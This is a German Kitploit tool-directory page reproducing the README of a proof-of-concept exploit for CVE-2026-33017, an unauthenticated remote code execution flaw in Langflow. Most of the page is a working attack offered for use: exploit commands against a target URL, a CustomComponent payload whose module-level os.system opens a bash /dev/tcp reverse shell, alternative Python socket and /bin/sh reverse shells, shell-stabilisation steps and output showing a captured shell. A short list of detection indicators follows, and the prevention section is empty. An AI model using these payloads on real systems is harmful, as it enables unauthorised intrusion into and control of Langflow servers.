Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33017-PoC-Reverse-Shell — Exploit für CVE-2026-33017, eine nicht authentifizierte RCE in Langflow, die eine Reverse Shell über eine bösartige CustomComponent-Payload ermöglicht. | Kitploit
Tools/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

Exploit für CVE-2026-33017, eine nicht authentifizierte RCE in Langflow, die eine Reverse Shell über eine bösartige CustomComponent-Payload ermöglicht.

Repository anzeigen
24vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33017 - Langflow Unauthenticated RCE Exploit

📋 Übersicht

CVE-2026-33017 ist eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle (RCE) in Langflow-Versionen <= 1.8.2. Die Schwachstelle existiert im Endpunkt /api/v1/build_public_tmp/{flow_id}/flow, dem eine ordnungsgemäße Authentifizierung fehlt und der Angreifern erlaubt, beliebigen Python-Code während des Graph-Kompilierungsprozesses auszuführen.

⚠️ Haftungsausschluss

Dieser Exploit dient ausschließlich Bildungs- und autorisierten Testzwecken. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.

🎯 Betroffene Versionen

VersionStatus
<= 1.8.2Verwundbar
1.9.0Gepatcht

🔍 Details zur Schwachstelle

Grundursache

Die Schwachstelle stammt aus der Funktion prepare_global_scope() in validate.py, die exec() auf dem Code jedes CustomComponent-Knotens ohne ordnungsgemäße Sandboxing aufruft. Wenn eine Komponente geladen/kompiliert wird, wird jeder Python-Code auf Modulebene (außerhalb von Klassendefinitionen) sofort ausgeführt.

Verwundbarer Endpunkt

POST /api/v1/build_public_tmp/{flow_id}/flow

Eigenschaften:

  • ❌ Keine Authentifizierung erforderlich
  • ❌ Kein API-Schlüssel erforderlich
  • ❌ Kein Autorisierungs-Header
  • ✅ Angreifer-kontrollierte Daten werden direkt an den Graph-Builder übergeben

Code-Ausführungskette

Attacker POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← BELIEBIGE CODE-AUSFÜHRUNG

🛠️ Ausnutzung

Voraussetzungen

  1. Eine öffentliche Flow-ID (UUID) von einer Langflow-Instanz
  2. Ziel-URL (Langflow-Instanz)
  3. Listener-IP und -Port für die Reverse Shell

Installation

git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Anforderungen

requests>=2.28.0
urllib3>=1.26.0

Verwendung

Grundlegende Syntax

python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Beispiele

1. Reverse Shell

# Listener starten
nc -lvnp 4444

# Exploit ausführen
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Verwendung kurzer Optionen

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Lokales Testen

python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Benutzerdefiniertes Timeout

python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Befehlszeilenargumente

ArgumentKurzformErforderlichBeschreibung
--url-uJaZiel-URL (z. B. https://target.langflow.com)
--flow-id-fJaFlow-ID (UUID) des öffentlichen Flows
--lhost-lhJaListener-IP-Adresse für die Reverse Shell
--lport-lpJaListener-Port für die Reverse Shell
--timeout-tNeinHTTP-Timeout in Sekunden (Standard: 15)

🔧 So funktioniert es

1. Payload-Struktur

Der Exploit sendet einen bösartigen CustomComponent-Knoten, der Code auf Modulebene ausführt:

import os

# Dies wird sofort während des Komponentenladens ausgeführt
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Ausführungsablauf

1. Angreifer sendet POST-Anfrage an /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow empfängt den bösartigen CustomComponent
3. prepare_global_scope() ruft exec() auf dem Komponentencode auf
4. Code auf Modulebene wird sofort ausgeführt
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Reverse Shell verbindet sich zurück zum Listener des Angreifers
6. Die Graph-Kompilierung wird fortgesetzt (aber es ist zu spät)

3. Warum es funktioniert

  • Ausführung auf Modulebene: Code außerhalb von Klassendefinitionen wird während exec() ausgeführt
  • Kein Sandboxing: exec() wird ohne Einschränkungen aufgerufen
  • Keine Authentifizierung: Der Endpunkt ist öffentlich zugänglich
  • Angreifer-kontrollierte Daten: Der data-Parameter wird direkt eingebettet

📊 Proof of Concept

Erfolgreiche Exploit-Ausgabe

$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Stellen Sie sicher, dass Ihr Listener läuft:
    nc -lvnp 4444

[+] Ziel-URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Sende Exploit-Payload...
[+] Statuscode: 200
[+] Exploit erfolgreich gesendet!
[+] Job-ID: abc123-def456-789ghi

[*] Prüfen Sie Ihren Listener auf die Reverse Shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Erweiterte Verwendung

Shell stabilisieren

Sobald Sie eine Reverse Shell haben:

# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Oder script verwenden
script /dev/null -c bash

# Mit Strg+Z in den Hintergrund
# Dann ausführen:
stty raw -echo
fg
reset
export TERM=xterm

Benutzerdefinierte Befehle ausführen

Ändern Sie das Skript, um beliebige Befehle anstelle einer Reverse Shell auszuführen:

# In der build_payload()-Funktion:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Alternative Payloads

1. Python-Socket-Reverse-Shell

import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. /bin/sh-Reverse-Shell (falls bash nicht verfügbar ist)

import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Erkennung & Prävention

Erkennungsindikatoren

  • POST-Anfragen an /api/v1/build_public_tmp/*/flow ohne Authentifizierung
  • Verdächtiger CustomComponent-Code mit os.system() oder subprocess
  • Unerwartete /tmp/rce-proof- oder /tmp/executed-Dateien
  • Ausgehende Verbindungen von Langflow-Containern

Präventionsmaßnahmen

Tool herunterladen